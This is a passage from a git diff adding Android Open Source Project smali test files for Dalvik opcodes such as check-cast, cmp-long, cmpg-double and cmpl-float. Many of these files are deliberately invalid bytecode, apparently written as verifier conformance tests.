+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_9.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_9.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali
new file mode 100644
index 0000000..bbd9bc3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_1.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali
new file mode 100644
index 0000000..5a39cdf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_2.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 14
+
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali
new file mode 100644
index 0000000..1cf491a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_4.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v10, v12
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali
new file mode 100644
index 0000000..146159a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_5.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       const v10, 1234
+       cmp-long v0, v9, v12
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali
new file mode 100644
index 0000000..6c81296
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmp_long/d/T_cmp_long_6.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmp_long_6.java"
+.class  public Ldot/junit/opcodes/cmp_long/d/T_cmp_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)I
+.registers 14
+
+       cmp-long v0, v10, v14
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali
new file mode 100644
index 0000000..567b758
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_1.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali
new file mode 100644
index 0000000..eebe149
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_3.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpg-double v0, v12, v14
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali
new file mode 100644
index 0000000..04e2a05
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_4.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpg-double v0, v12, v11
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali
new file mode 100644
index 0000000..6b10490
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_5.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpg-double v0, v12, v16
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali
new file mode 100644
index 0000000..0ad763b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_double/d/T_cmpg_double_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_double_6.java"
+.class  public Ldot/junit/opcodes/cmpg_double/d/T_cmpg_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpg-double v0, v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali
new file mode 100644
index 0000000..539d585
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_1.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali
new file mode 100644
index 0000000..9a127ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_2.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpg-float v0, v7, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali
new file mode 100644
index 0000000..40044ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_3.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 234234
+       cmpg-float v0, v1, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali
new file mode 100644
index 0000000..71d4616
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_4.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v6, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali
new file mode 100644
index 0000000..09367cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_5.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpg-float v0, v9, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali
new file mode 100644
index 0000000..b6c4a58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpg_float/d/T_cmpg_float_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpg_float_6.java"
+.class  public Ldot/junit/opcodes/cmpg_float/d/T_cmpg_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 9
+       cmpg-float v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali
new file mode 100644
index 0000000..7e8da2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_1.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali
new file mode 100644
index 0000000..fe17c14
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_3.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)I
+.registers 16
+
+       cmpl-double v0, v12, v14
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali
new file mode 100644
index 0000000..cb07604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_4.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       const-wide v12, 12356
+       cmpl-double v0, v12, v11
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali
new file mode 100644
index 0000000..876857c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_5.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)I
+.registers 16
+
+       cmpl-double v0, v12, v16
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali
new file mode 100644
index 0000000..1a49b45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_double/d/T_cmpl_double_6.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_double_6.java"
+.class  public Ldot/junit/opcodes/cmpl_double/d/T_cmpl_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 16
+       move v0, v14
+       move v1, v14
+       move v2, v15
+       move v3, v15
+
+       cmpl-double v0, v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali
new file mode 100644
index 0000000..f0c22af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_1.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       cmpl-float v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali
new file mode 100644
index 0000000..2c460ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/cmpl_float/d/T_cmpl_float_2.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_cmpl_float_2.java"
+.class  public Ldot/junit/opcodes/cmpl_float/d/T_cmpl_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 9
+       const-wide v1, 3.1414
+       cmpl-float v0, v7, v1
